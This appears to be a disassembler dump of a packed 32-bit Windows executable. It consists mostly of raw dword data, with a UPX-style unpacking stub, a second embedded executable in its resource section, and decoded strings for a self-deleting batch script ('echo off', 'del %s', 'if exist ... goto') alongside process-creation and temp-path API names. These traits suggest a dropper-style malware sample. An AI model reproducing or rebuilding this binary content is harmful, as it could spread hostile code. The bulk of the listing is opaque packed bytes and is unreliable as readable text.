		dd 6E614865h, 41656C64h, 65530100h, 6C694674h, 74744165h
		dd 75626972h, 41736574h, 736C0100h, 61637274h, 1004174h
		dd 7274736Ch, 41797063h, 65470100h, 73795374h, 446D6574h
		dd 63657269h, 79726F74h, 47010041h, 69547465h, 6F436B63h
		dd 746E75h, 74654701h, 74737953h, 69546D65h, 7341656Dh
		dd 656C6946h, 656D6954h, 72460100h, 694C6565h, 72617262h
		dd 47010079h, 72507465h, 6441636Fh, 73657264h, 4C010073h
		dd 4C64616Fh, 61726269h, 417972h, 65724301h, 50657461h
		dd 65636F72h, 417373h, 74654701h, 706D6554h, 68746150h
		dd 47010041h, 69467465h, 7441656Ch, 62697274h, 73657475h
		dd 45010041h, 50746978h, 65636F72h, 7373h, 65h,	106Ch
		dd 74654701h, 73727543h, 6F50726Fh, 73h, 50000000h, 4C000045h
		dd 5E000401h, 4656E8h, 0
		dd 0E0000000h, 0B010F00h, 0A0701h, 0Eh,	90h, 0B1000000h
		dd 14h,	10h, 20h, 4000h, 10h, 4000002h,	0
		dd 4000000h, 2 dup(0)
		dd 0D0h, 4, 2000000h, 0
		dd 1000h, 10h, 1000h, 10h, 10000000h, 3	dup(0)
		dd 3C000021h, 0
		dd 90000040h, 60h, 12h dup(0)
		dd 74000020h, 6	dup(0)
		dd 2E000000h, 74786574h, 84000000h, 0Dh, 10h, 0Eh, 4, 2	dup(0)
		dd 20000000h, 2E600000h, 74616472h, 8C000061h, 3, 20h
		dd 4, 12h, 2 dup(0)
		dd 40000000h, 2E400000h, 61746164h, 94000000h, 0
		dd 30h,	4 dup(0)
		dd 40000000h, 2EC00000h, 63727372h, 60000000h, 8Ah, 40h
		dd 8Ch,	16h, 2 dup(0)
		dd 40000000h, 400000h, 0B00000C0h, 21h,	0C1AB00h, 32Ch dup(0)
___H		ends

; Section 2. (virtual address 0000E000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0000E000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_a__		segment	para public 'CODE' use32
		assume cs:_a__
		;org 40E000h
		assume es:nothing, ss:nothing, ds:___H,	fs:nothing, gs:nothing
dword_40E000	dd 0FEFDBEDFh, 40300068h, 505C700h, 0FF000094h,	9200015h
					; DATA XREF: start+23o
		dd 3D83C033h, 0BBFFFEEFh, 0F021110h
		db 94h,	0C0h, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	esi
		push	26A2180h
		push	esi
		push	0FFFFFFFFh
		db	66h
		sti
		fld	qword ptr [ecx]
		push	75FF4008h
		or	[ebx], dh
; ---------------------------------------------------------------------------
		dd 8B0C30DBh, 0FFFF83F8h, 37562774h, 8DFFEDDBh,	8950FC45h
		dd 758BFC75h, 0C1D5610h, 85081C57h, 37EF74C0h, 3906DBDDh
		dd 43017514h, 5E5F0410h, 0C95BC38Bh, 0BB77DB58h, 2CEC81F6h
		dd 0BE5D4901h, 7D8D17D8h, 42A5A5E8h, 0B6CDF7E8h, 45C750FBh
		dd 666110F8h, 891C2FA5h, 468F445h, 6E6CF727h, 0D4858D7Bh
		dd 895066FEh, 7B3D1875h, 0DBB6FB07h, 5B038F56h,	80935342h
		dd 82D7FF22h, 83EDF735h, 0FC36FFF8h, 1599840Fh,	6DB31E21h
		dd 1AB2F6FBh, 0FB83D88Bh, 0FC020B08h, 33EFBA8Eh, 4878EBDBh
		dd 15F3D914h, 16F8C7D7h, 43DDBB1Bh, 0D806F875h,	0C6102650h
		dd 1B9AEB33h, 3F358B39h, 3D4C542Dh, 35F74CE2h, 0F4F430DDh
		dd 0DBD53BCh, 0C2DCD66Eh, 3B402A46h, 0C2EC4244h, 0FF0975F6h
		dd 67D611D6h, 110805EBh, 870FC2E6h, 5D8B680Fh, 0E8680D10h
		dd 63E1A6DBh, 45C653F2h, 34094FFh, 87154BC3h, 3CBC2CB7h
		dd 3853593Fh, 0BE1F9022h, 340B75EEh, 133026BDh,	6AF019E4h
		dd 0C2C8C2EEh, 2C9A5668h, 57429985h, 0EEB10B0Dh, 368B2884h
		dd 200A2446h, 27777710h, 192874DFh, 10AC1C20h, 1E53E853h
		dd 76D6C483h, 100CBAC7h, 59770C0Bh, 38A0184h, 0CF6CCA5h
		dd 10EC831Fh, 6C3ADCB2h, 0D9A66CDFh, 548F009h, 55B70F44h
		dd 0F6F78BF8h, 7FC8942Fh, 0B10E0C1h, 0BAF0FC2h,	3F04DAFh
		dd 0FFC6FFEEh, 196AD233h, 0F75FC18Bh, 800821F7h, 658361C2h
		dd 16880008h, 0B7EDFF14h, 155B05DBh, 8D1BF3F7h,	0BE0F017Eh
		dd 316BE30h, 0F75E99C2h, 0DDB7FEFEh, 0A6A146Fh,	29F78B59h
		dd 0F7251788h, 845FFF1h, 7087D83h, 0DC37C26Ch, 4CB7C5Bh
		dd 462E06C6h, 8D991256h, 4FC7E186h, 21EF0208h, 75D8DC07h
		dd 0F468FC9Bh, 2C3501Bh, 0FDF8182Dh, 0CCE35D97h, 0E5C15017h
		dd 84148701h, 2FFEDECDh, 5E636A03h, 1EFE8346h, 6404CA7Ch
		dd 0D292C75h, 0D0D08FE6h, 0F6854854h, 0EC681974h, 37185027h
		dd 0FF0227DDh, 324C0CD0h, 0B9C75EC0h, 703930F1h, 0A856B404h
		dd 0F608FC94h, 53DBF270h, 1557A7BFh, 4D9337B6h,	3B600CAEh
		dd 4A0774C7h, 0B9BC6CE9h, 0A80423DDh, 56FB9017h, 0E4FF5D88h
		dd 0D82D9C5Ch, 9B16E08Bh, 26F66398h, 0FF357674h, 7147131Ah
		dd 0E8B774BBh, 0D8F6522Fh, 6E0BD1Bh, 4B5302E2h,	0F39B374Fh
		dd 0C30C691Fh, 0F874F815h, 37AF2C7Fh, 51E44D8Dh, 90682B6Ah
		dd 59D92923h, 0F812A99Ah, 2CEC4D53h, 689C64F6h,	0D60D14FCh
		dd 3C81F1BBh, 68D61DD9h, 59106AF8h, 0A97F6ED4h,	0F3A4CAD7h
		dd 0E85D89ABh, 0ABEC07h, 0E96562CDh, 0A00416h, 64B9DB29h
		dd 44A0273Eh, 2D01CCECh, 8D387CD0h, 0EC58856Ch,	950F6A28h
		dd 6B5B68C3h, 0E8105175h, 4517F04h, 0C08BFB98h,	905850h
		dd 3EED4F07h, 4C78D1Ah,	64B13F03h, 36C2A287h, 480000CCh
		dd 6FFFEA6Fh, 506B6FFEh, 636F72h, 6F6D6572h, 666C6176h
		dd 2E656C69h, 0ED746162h, 0AEDFFF77h, 6F686365h, 66666F20h
		dd 643A0A0Dh, 6C656404h, 0C312520h, 0FF37B5ADh,	65206669h
		dd 74736978h, 746F6720h, 0B73B1C22h, 75FF6DBFh,	6C6C646Eh
		dd 192E3233h, 2C731765h, 69746341h, 7765744Bh, 577FFDDFh
		dd 63787A61h, 65777364h, 49420B71h, 75C004Eh, 42617453h
		dd 72CCEDDAh, 22003474h, 78222007h, 0A2846050h,	90220EEh
		dd 0FE84A840h, 42000323h, 4E004900h, 9125514Eh,	2A0AC88h
		dd 4001559h, 0D82C0A32h, 415055FFh, 4E494444h, 8585847h
		dd 0A314810Fh, 210A8122h, 47B0015h, 88A0C810h, 0E56C008h
		dd 0E797FFF2h, 47011058h, 65567465h, 6F697372h,	4178456Eh
		dd 0FF1412DBh, 736F6C43h, 60614865h, 0D6570C65h, 72FDFECDh
		dd 46657469h, 72430A69h, 240B6165h, 0FF6D0B52h,	1664D9DAh
		dd 50083D53h, 1D6E696Fh, 0D8F7FB72h, 6F4D4D8Fh,	296C7564h
		dd 2D6D614Eh, 7274736Ch, 0FDBF370Ch, 53096E6Eh,	6F657A69h
		dd 6F733D66h, 4C637275h, 96DB636Fh, 0D6BB03Ch, 6E406461h
		dd 0C059D90Dh, 9B584126h, 6C1B7A41h, 74413B7Bh,	7562695Dh
		dd 636A737Dh, 7B3DBEA7h, 79700958h, 0D795339h, 69446D65h
		dd 0DF60EDB5h, 6F7463C3h, 69541472h, 0BD5E437Ch, 0B7AC05AEh
		dd 73B11322h, 6EDDAC56h, 318409EEh, 725D4C65h, 0BB253461h
		dd 0BD4505DDh, 15646441h, 0BDAF7373h, 1C360C21h, 0B3202041h
		dd 1CCC16EDh, 50705061h, 0B00D6814h, 0AC652142h, 0E52F5D6Fh
		dd 8F42CD20h, 75436C65h, 68584F2Fh, 0D27353A6h,	14C4550h
		dd 0FFF3404h, 0E85E00F9h, 0E04656h, 10B010Fh, 0E000A07h
		dd 4F7D9C90h, 14B19Eh, 0B400D20h, 0B374902h, 73304B6h
		dd 606CD00Ch, 341E6E67h, 3A060710h, 9676C8h, 903C5221h
		dd 205D6460h, 74A79030h, 9F60BE1Fh, 65742E0Fh, 900D8478h
		dd 2DB904EBh, 6042CA7Ch, 6464722Eh, 38CFB61h, 5F616EDh
		dd 0BA271223h, 902D2E40h, 73268B67h, 0BB3B3094h, 0C027D6C6h
		dd 103A734Fh, 0B74F8A60h, 8CA692B6h, 0B00D2916h, 80000021h
		dd 0C1AB3Fh, 24000h, 0FF00h, 0E000BE60h, 0BE8D0040h, 0FFFF3000h
		dd 0FFCD8357h, 909010EBh, 90909090h, 8846068Ah,	0DB014707h
		dd 1E8B0775h, 11FCEE83h, 0B8ED72DBh, 1,	775DB01h, 0EE831E8Bh
		dd 11DB11FCh, 73DB01C0h, 8B0975EFh, 0FCEE831Eh,	0E473DB11h
		dd 0E883C931h, 0C10D7203h, 68A08E0h, 0FFF08346h, 0C5897474h
		dd 775DB01h, 0EE831E8Bh, 11DB11FCh, 75DB01C9h, 831E8B07h
		dd 0DB11FCEEh, 2075C911h, 75DB0141h, 831E8B07h,	0DB11FCEEh
		dd 0DB01C911h, 975EF73h, 0EE831E8Bh, 73DB11FCh,	2C183E4h
		dd 0F300FD81h, 0D183FFFFh, 2F148D01h, 76FCFD83h, 42028A0Fh
		dd 49470788h, 63E9F775h, 90FFFFFFh, 0C283028Bh,	83078904h
		dd 0E98304C7h, 1F17704h, 0FF4CE9CFh, 895EFFFFh,	7B9F7h
		dd 78A0000h, 3CE82C47h,	80F77701h, 0F275003Fh, 5F8A078Bh
		dd 0E8C16604h, 10C0C108h, 0F829C486h, 1E8EB80h,	830789F0h
		dd 0D88805C7h, 0BE8DD9E2h, 0C000h, 0C009078Bh, 5F8B3C74h
		dd 30848D04h, 14094h, 8350F301h, 96FF08C7h, 140D0h, 47078A95h
		dd 0DC74C008h, 4857F989h, 0FF55AEF2h, 140D496h,	74C00900h
		dd 83038907h, 0E1EB04C3h, 40DC96FFh, 0AE8B0001h, 140D8h
		dd 0F000BE8Dh, 0BBFFFFh, 50000010h, 53046A54h, 8DD5FF57h
		dd 1FF87h, 7F208000h, 7F286080h, 50545058h, 0D5FF5753h
		dd 448D6158h, 6A8024h, 0FA75C439h, 0E980EC83h, 0FFFF2D71h
		dd 230h	dup(0)
_a__		ends

; Section 3. (virtual address 0000F000)
; Virtual size			: 00009000 (  36864.)
; Section size in file		: 00009000 (  36864.)
; Offset to raw	data for section: 0000F000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_rsrc		segment	para public 'CODE' use32
		assume cs:_rsrc
		;org 40F000h
		assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
		dd 2 dup(0)
		dd 4, 1, 80000058h, 80000018h, 2 dup(0)
		dd 4, 10000h, 68h, 80000030h, 2	dup(0)
		dd 4, 10000h, 409h, 48h, 0F064h, 602Dh,	4E4h, 0
		dd 420003h, 4E0049h, 4060h, 905A4Dh, 3,	4, 0FFFFh, 0B8h
		dd 0
		dd 40h,	8 dup(0)
		dd 100h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
; ---------------------------------------------------------------------------
		fcomp	dword ptr [ebp-35h]
		xchg	eax, ecx
		pushf
		cmp	al, 0A5h
		retn	3C9Ch
; ---------------------------------------------------------------------------
		movsd
		retn	3C9Ch
; ---------------------------------------------------------------------------
		movsd
		retn	341Fh
; ---------------------------------------------------------------------------
		cli
		retn	3C9Eh
; ---------------------------------------------------------------------------
		movsd
		retn	1F46h
; ---------------------------------------------------------------------------
		mov	ecx, 0A53C9DC2h
		retn	348Fh
; ---------------------------------------------------------------------------
		clc
		retn	3C9Eh
; ---------------------------------------------------------------------------
		movsd
		retn	341Fh
; ---------------------------------------------------------------------------
		clc
		retn	3C96h
; ---------------------------------------------------------------------------
		movsd
		retn	1F66h
; ---------------------------------------------------------------------------
		mov	esp, 0A53C9FC2h
		retn	3C9Ch
; ---------------------------------------------------------------------------
		movsb
		retn	3CEBh
; ---------------------------------------------------------------------------
		movsd
		retn	3099h
; ---------------------------------------------------------------------------
		dw 0C2C5h
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		cmp	al, 0A5h
		retn	3099h
; ---------------------------------------------------------------------------
		cli
		retn	3C9Dh
; ---------------------------------------------------------------------------
		movsd
		retn	3099h
; ---------------------------------------------------------------------------
		stc
		retn	3C9Dh
; ---------------------------------------------------------------------------
		movsd
		retn	3099h
; ---------------------------------------------------------------------------
		inc	edx
		popf
		cmp	al, 0A5h
		retn	6952h
; ---------------------------------------------------------------------------
		dw 6863h
; ---------------------------------------------------------------------------
		pushf
		cmp	al, 0A5h
		retn	0
; ---------------------------------------------------------------------------
		align 10h
		dd 5 dup(0)
		dd 4550h, 4014Ch, 465DA69Ah, 2 dup(0)
		dd 210E00E0h, 0A07010Bh, 4000h,	1000h, 0C000h, 113FCh
		dd 0D000h, 11000h, 10000000h, 1000h, 200h, 4, 0
		dd 4, 0
		dd 15000h, 1000h, 0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	111B8h,	0C0h, 11000h, 1B8h, 14000h, 20h, 4 dup(0)
		dd 11278h, 0Ch,	14h dup(0)
		dd 0E8B5CEE8h, 0
		dd 0C000h, 1000h, 200h,	400h, 3	dup(0)
		dd 0E0000080h, 69E3F901h, 0
		dd 4000h, 0D000h, 3800h, 400h, 3 dup(0)
		dd 0E0000040h, 63B583A6h, 0
		dd 3000h, 11000h, 2400h, 3C00h,	3 dup(0)
		dd 0E0000040h, 63B583A6h, 0
		dd 1000h, 14000h, 20h, 6000h, 3	dup(0)
		dd 40000040h, 50h dup(0)
		dd 32000000h, 33302Eh, 21585055h, 802090Dh, 0BA24EAEEh
		dd 0E787627Fh, 0EE80h, 343Dh, 8000h, 0CD000026h, 8E3FF6EEh
		dd 570E1C50h, 75E10687h, 12F1FCA9h, 0FBB502D7h,	0DC1B4AD4h
		dd 0DB1D7E7Ch, 0B7BE330h, 60EDC66Bh, 5E57DCBDh,	56BD3F7h
		dd 51089730h, 876BED7Ch, 42F16A78h, 43D04893h, 2310F7F8h
		dd 0AB953929h, 0FAB1E123h, 70C042FCh, 74E1E80h,	0B2BD9F03h
		dd 0C5281C34h, 346BC18Bh, 0C78D181Ch, 0C71F9187h, 57519383h
		dd 11E0C541h, 2C26F0BBh, 0ABD3928Fh, 97ADF03h, 0E0B8C08h
		dd 8E06E187h, 786BD1C2h, 0EC0A4D19h, 36899796h,	15070428h
		dd 661D7F6Eh, 591E4223h, 22DBDCBBh, 6C176814h, 879785A5h
		dd 0C702E74Eh, 7526B9FEh, 651DD3Fh, 0D115FE90h,	0FCB5E1FFh
		dd 5D3DDD8h, 0DF4B910Eh, 51E4D0D3h, 6D5D1561h, 6BE79282h
		dd 43799343h, 7BC162D3h, 177A3070h, 17391A3Ch, 0E550ABh
		dd 2B4F898Bh, 2342ADF1h, 8B56FE58h, 0BFC79934h,	51940780h
		dd 71E6486h, 306BCEF7h,	0DC3D0C9Ch, 8FB12CECh, 1520004Ch
		dd 5163C968h, 0B0E919D1h, 0F0577746h, 22C8D05h,	34A0841Ch
		dd 305AD57h, 723DE7C4h,	0B8831878h, 340C1806h, 8FD1408h
		dd 0F9F2D186h, 7B8AD439h, 48839A8Eh, 263C0920h,	590BC238h
		dd 1AE6B61Fh, 7001FDA6h, 0ECBBDABBh, 931E6127h,	23764C7h
		dd 0B07FCE82h, 0F4F97FBh, 0B7F0538Bh, 32C11879h, 70E62A3Fh
		dd 0F4ADB7Ah, 6A14D68Bh, 149CDE68h, 0F910917Dh,	0C40A146Ch
		dd 0AF52CD53h, 148BE05Eh, 0E6D968Bh, 8F4D4B34h,	8665D0FCh
		dd 0A059183h, 0FB9EC73Ch, 0D51A2FF6h, 0C7814A81h, 5809F2E3h
		dd 1C63EADDh, 22E71804h, 96E99782h, 5EA8267h, 3C6B80B3h
		dd 84F25513h, 2769D96Ah, 216CD64Ah, 31D0C391h, 0F7B0D5DBh
		dd 0C6B96D5h, 37991AFh,	0F5F643D5h, 0EB6A47C7h,	982F7E05h
		dd 0F8F1E121h, 0C7E7E1D4h, 31089B61h, 439D7E39h, 3C5A25EAh
		dd 77940008h, 95ED5CFFh, 4944890Ch, 7F0C521h, 0AAE188C3h
		dd 1DD4F2E7h, 16D978Eh,	30F68C7h, 72EC910Ah, 3283C2E3h
		dd 27113611h, 43F81B3Ah, 0A4A8C07Dh, 5162EA36h,	6B264AE7h
		dd 6B087ABBh, 2F7C52F4h, 0C4134C3Eh, 70CFBD00h,	0BC70E454h
		dd 0F0ACD13Bh, 1B642CD3h, 45D62B4h, 0F1BBDF33h,	2228EEB6h
		dd 71A5BBCDh, 8B9DDEFh,	1740C96h, 0B2F1C04Dh, 69C7ADF6h
		dd 42E8AB08h, 520D2C31h, 4D4FBDFCh, 210B3EA2h, 26B1438Fh
		dd 7C9CED0Bh, 0E0F23707h, 140E4A80h, 0FB6917Fh,	91F3ACF4h
		dd 7A27B517h, 0F315F21Bh, 321CB402h, 0EABFE2E7h, 8FE3DF7Ah
		dd 62E04Dh, 0F3506C8Bh,	0CE5010FCh, 57704C40h, 0B4CC5BFAh
		dd 2E3B47B9h, 34595880h, 738A9609h, 84111D3Ah, 0F75120F8h
		dd 67373C25h, 8021C3E9h, 0B46DEF52h, 2CDD6F5Eh,	6DCAF16Fh
		dd 40B2E18Eh, 0E661B12Bh, 3C399907h, 869E4585h,	0B72228C2h
		dd 0B958694Eh, 0A8654C86h, 764F8C6h, 455B1C7Ah,	6B7C10CFh
		dd 0C5698E89h, 0CC4F0D2Ch, 24555ADCh, 9BD3D61h,	8CCE2ACDh
		dd 3C158424h, 7F456DD2h, 0C7E0AC44h, 6D9597ADh,	0C91E5417h
		dd 0C9631CFEh, 0CC9787Ah, 53004408h, 66F82AD3h,	642F2F2Fh
		dd 0AD26762Ah, 0AB5089F3h, 0F9E2548h, 80CA88F7h, 379CDA68h
		dd 0F794E2ABh, 23181C78h, 1E862DC0h, 0C0277765h, 76E00284h
		dd 9E2C1EC0h, 74D3AFE4h, 73155A39h, 0E7330708h,	4777BD86h
		dd 9DD394D2h, 731E3101h, 2AD34892h, 43666EFh, 7740458Bh
		dd 81F51B27h, 0FBE6C918h, 521AE26Fh, 3AE4EBEBh,	857697ACh
		dd 4B183C58h, 998A13C5h, 6BB692D9h, 38648C56h, 8A3BAC75h
		dd 0D1E89C8h, 27B597C5h, 0DF85902Ah, 0ADEF1CB8h, 777AF3E1h
		dd 23C8E5D6h, 4689942Bh, 0EFBB454Ah, 7F0A61B4h,	4B60455Fh
		dd 0B45BD0FDh, 2516CC3Ch, 385B4C6Bh, 85DB91FFh,	0F8640B4Ch
		dd 1B0DB266h, 0A132649Dh, 0E1892A54h, 0B7609807h, 25EA41EEh
		dd 26686Eh, 4D979BC7h, 59084B23h, 2FE894D8h, 308DDD65h
		dd 0AEDAC68Ch, 5A854F3Ch, 0B15BCE8Fh, 501AACE0h, 3DB3D1A4h
		dd 4287F26Ah, 93906C6Ch, 4C5D682Ch, 70C1C774h, 2B66554Eh
		dd 789BC4E8h, 2FB528FBh, 68647FF4h, 0ED2DBD31h,	8E3B2DF3h
		dd 151A928Fh, 720800C4h, 0B07CE403h, 0FABF9608h, 6E994346h
		dd 85CAA34Ah, 9747D0CCh, 1F9D771Fh, 32876A53h, 4D54D47Bh
		dd 82720EEEh, 0F7B24258h, 140F4F65h, 3E2537D3h,	9F7D6848h
		dd 6F0DCE5h, 7F75AB46h,	0CDD8FC08h, 3B5BC1Ch, 18EB2A17h
		dd 0DFE01FD0h, 0C840D1F5h, 49D9C46Dh, 0AAD72BF7h, 1C9FD57h
		dd 0E6EF0516h, 5CE4BF32h, 1EAC49DDh, 0A943A413h, 0AAD0F199h
		dd 0C6CC2A14h, 222361E0h, 1F1F0F52h, 0D491E14Ch, 0C4E70CFBh
		dd 793B7316h, 0A8EA00F3h, 2014C82Fh, 59E45A35h,	7FA169E8h
		dd 0A23DDD57h, 0AA9C71E1h, 1332E335h, 1124D1DFh, 522A5DC1h
		dd 78CD9354h, 8A41C3EDh, 0E1626ADAh, 20BDB70h, 63F2117h
		dd 0A4BEB220h, 72B8E800h, 482A8837h, 5A71407h, 99433D19h
		dd 75E81806h, 0C4253524h, 460F8EECh, 4F0303FDh,	83D6448Ch
		dd 9A86686Fh, 620E3A67h, 0ED4EEA77h, 83E8243Eh,	0ADA57A93h
		dd 9E22F9AFh, 1F761459h, 0C0CDC93Ch, 0FF92A384h, 27FD3B4Dh
		dd 0A5152953h, 1C16372Eh, 0F596D14h, 1AEA9267h,	38024F64h
		dd 0C0E887FEh, 25568D40h, 89A45383h, 0A7264DE8h, 22BECDA5h
		dd 0DEC6E714h, 6822C874h, 2A070B5Ch, 0B5992A82h, 0EBE347A3h
		dd 83C0D5DFh, 5D4F87h, 685A829Eh, 0B3E01A53h, 5FEB97F2h
		dd 4743A276h, 0C73080D7h, 95688C4Dh, 984CF806h,	95CDF4C0h
		dd 7F18D88Ah, 0F3240C9Fh, 5E629E5Bh, 2E9B4239h,	122351F4h
		dd 8E03FF2Eh, 2062D19Eh, 0DA9497BFh, 1338438Fh,	295B05B7h
		dd 0F2A5B5ADh, 39336866h, 4D68FF07h, 17864A0Dh,	39B217E5h
		dd 0F128CBDh, 9023DFCCh, 4FEA08FAh, 0AD6B65D5h,	0C1C2F0FBh
		dd 0B68A69A3h, 0B65D83A0h, 77FD765Bh, 577C4BF8h, 3E1F9C0Bh
		dd 0E2462853h, 0A6B9EC41h, 77CC1CA9h, 0BC039A16h, 45D2E9E8h
		dd 7B1BAD8Dh, 0F0D5EA4Eh, 3060D516h, 215E0CE2h,	122CBE9Dh
		dd 8CF0644Ah, 0F3A6D9BBh, 0FC94D234h, 0F7EFA57Dh, 27A950ABh
		dd 7583A4D3h, 63D6A653h, 0EC54D429h, 32BDA450h,	37764170h
		dd 92227F6Dh, 0D160F292h, 67B136B3h, 9CED376Dh,	73F527CFh
		dd 394E7F4h, 0F785E287h, 0F5BCE0D5h, 0CF5068C0h, 78F54B4Ch
		dd 8DBC188Ah, 0D1B80F3h, 8A83480Fh, 755A90EBh, 0E843E192h
		dd 2D170E49h, 1A5EBCA9h, 7795F1EBh, 36D4444Dh, 76CD3902h
		dd 68DDA3Ch, 6353CD4Fh,	5419B836h, 9BDE1AD0h, 700462h
		dd 2DD8151Fh, 9DCA4625h, 72D0189Fh, 0E39AE14Ch,	45EEC7Eh
		dd 5A8721B2h, 0DD0AB6Bh, 5EA5B7D4h, 0D5FEF628h,	87060C95h
		dd 0C0F8C99h, 10B0DAC7h, 7CDAC1B8h, 944A08FFh, 0BB702D99h
		dd 62416DE8h, 0A8C11802h, 9829504Ch, 9401D0A2h,	7CC6270Fh
		dd 0A81AA901h, 0F78ADCBDh, 9F4D1A5h, 99AAE4FCh,	78239777h
		dd 716ED0F8h, 61304BA5h, 54FD07C2h, 8B6A1909h, 0C6B1CDB3h
		dd 1B9F006Ah, 0C6CD8287h, 7586D163h, 84C49789h,	0DA13C262h
		dd 0E7EA7367h, 7DE4D876h, 79F8FF31h, 5E1EE492h,	2C1C336Fh
		dd 78F44B42h, 0FCC30DB0h, 533E2E1h, 0C4C3EFCFh,	8FA4F8DFh
		dd 1375BCDEh, 60D0DCFDh, 8DFE3E4Ch, 606AC78Fh, 711BA802h
		dd 7F9F0B7Ch, 47490E44h, 9D9CDDB8h, 0A0CD9637h,	773EE430h
		dd 0CF8DE4D3h
		dd 732C323Fh, 0C58FC207h, 751F1D5Bh, 45D26FBh, 0EEFB749Bh
		dd 0F041DB55h, 87D0DA5Bh, 89F643BDh, 786AE6C3h,	0A8CE5B8h
		dd 55E1B903h, 0B31573D3h, 9352D6D1h, 72E70D2Bh,	7AF4AB8Dh
		dd 7EB9CB7Ah, 0E64FBF57h, 0D8461900h, 34E49D08h, 0A7C8393h
		dd 70C7429Ch, 5669C7F5h, 567E7729h, 80A62BBh, 2DF30785h
		dd 31097B53h, 0E6B3799Dh, 7048C131h, 5FEEA767h,	34120E78h
		dd 9208523Ah, 5C0A43D8h, 43AD9098h, 35BCEACDh, 3E6BF28Fh
		dd 2B7AD5A8h, 0C629F16Ch, 842BA012h, 0EF8E3DE6h, 0B1C55E0Eh
		dd 8F34047h, 0F0C1026h,	5C9A1787h, 3E475B5Eh, 74C1CDC2h
		dd 0F5F9C625h, 78F1B587h, 8ED6104Ch, 4874D591h,	0A64B0039h
		dd 5CCAC2FEh, 72592A0Ch, 3DAB2580h, 0D3B21E72h,	70265C34h
		dd 27C5CD1h, 0D12CC90Ah, 6A8856AFh, 0DE5A8BAh, 0E6B00C3Ch
		dd 0D9236C3Eh, 360DA038h, 9E63D38Dh, 2FD4AA3Dh,	984AF59Bh
		dd 95C0AA46h, 0ABF4F763h, 7C2A4EEh, 76907950h, 594E9F23h
		dd 0B7FFE522h, 3455B36Eh, 725B90D7h, 1D43946Ah,	9DF62013h
		dd 84C02Ah, 253FEA0Dh, 0AAEBF963h, 400C5C2h, 387ADE7Ch
		dd 0C757FB4Ch, 17513F3h, 5F94BF03h, 1E7A3A32h, 0E794EFA0h
		dd 13998BAFh, 4EEFB5B5h, 736A164Ch, 8795A486h, 0B979095h
		dd 8B6EC3AAh, 394603Dh,	0CBA2B986h, 2C700631h, 5DCA538Ch
		dd 6DD8FC22h, 0ACAD54A3h, 0A924606h, 798C49D5h,	0F71D64D4h
		dd 4A3CF394h, 5AE59BAEh, 859407B1h, 68A8E745h, 80943587h
		dd 34E5E901h, 0C83B444Ah, 1370CAB3h, 0A6CA9E78h, 8FBD4E81h
		dd 0BBDB0EA8h, 7B3F08B5h, 7193C76Fh, 0CE7B62E6h, 68DBC50Eh
		dd 9D561952h, 0D6DF48Dh, 1BB8DCFBh, 2E68965Bh, 6B570F27h
		dd 284E82B3h, 0AA78FB2Eh, 49395F7h, 63E7B120h, 204D4519h
		dd 4F1AF8B0h, 0C183F3A6h, 17E198FAh, 2D8EE9A3h,	0B170C134h
		dd 88162C4h, 3C0A6867h,	0F7E0C868h, 9E894419h, 0F5B635ACh
		dd 0C04F874Eh, 246BD93Eh, 0DFB85A16h, 329513F5h, 0E2EDF435h
		dd 601BAA23h, 550CAA37h, 681C0429h, 61885FA4h, 13BE6AEFh
		dd 0CB96030h, 2E89226h,	432047Dh, 7D32F2DBh, 4FE3E2E0h
		dd 7EE2DEF7h, 237B5470h, 67298008h, 0F37D7B71h,	79FA2A5Eh
		dd 0C019A337h, 7CED7A83h, 9D6FD1D5h, 28D5C23Dh,	474B1F32h
		dd 8D5A9F86h, 49DF1FEBh, 78E2D1F7h, 8E05B076h, 0D6FDD894h
		dd 368A799h, 1AF74981h,	0EB026265h, 3063718Fh, 0DFCF9711h
		dd 0E78042D6h, 8566CB5Eh, 64A87354h, 46469530h,	7859CB82h
		dd 16745135h, 5CA9627h,	1C051967h, 0D329ACEBh, 3263B547h
		dd 55AD48E2h, 0FB8BEAC0h, 0F3E6B5ADh, 4E52341h,	0F570F800h
		dd 0C6E37746h, 74E9CA6Dh, 841E411Bh, 0CB05C665h, 0A44557C3h
		dd 61E5E63h, 8DCD1F0Fh,	0F96A0B79h, 4CF1ED01h, 86C864FEh
		dd 8D2E4CF9h, 77C4C0C3h, 107B1904h, 1D202303h, 4CD08873h
		dd 75958179h, 0E06C889h, 361AF803h, 0BFA767F1h,	2719C28Ch
		dd 585501BCh, 0F445D4E0h, 0EF02B639h, 1B267B42h, 7313E4C0h
		dd 8CCA9199h, 1711EC25h, 0C6E99D54h, 23C4529Ch,	0DD59D6FEh
		dd 46F8676Ah, 0D66B8181h, 6F040470h, 1C541522h,	948DAD3Eh
		dd 48FFDE9Dh, 0B63DADDh, 64E3E538h, 82B1C76Eh, 0A94A00D0h
		dd 4183A57Dh, 3F06482h,	57C8DFC7h, 0D13594C4h, 0CC854E6Fh
		dd 44E4937Ch, 3B8AF60Bh, 0B7C05C81h, 0DF2B7839h, 611C53F2h
		dd 1005F9BBh, 0F944A135h, 3F80028h, 975A91BBh, 72CA6A95h
		dd 86185490h, 0BA5DE063h, 5E3B0EB9h, 151FF747h,	84B23773h
		dd 0BA85C42Fh, 305FAE54h, 9E04FDCFh, 2117A711h,	866760F3h
		dd 0FAF094FCh, 12321D7Ah, 6A53FD88h, 0D332241Ch, 59CFDA0Eh
		dd 31162034h, 4C38E1BFh, 0E4AE7A10h, 45A16653h,	0FA7D5E5Dh
		dd 0B217E05Eh, 59087D49h, 1EFDADD1h, 5F532CC7h,	28789311h
		dd 0B0D0CD08h, 0D8BE0657h, 0D3E942Eh, 3536484h,	0DA01389Dh
		dd 670E4984h, 376F2B56h, 0FD9A8FFh, 0C43EF4D0h,	0B0EB80BFh
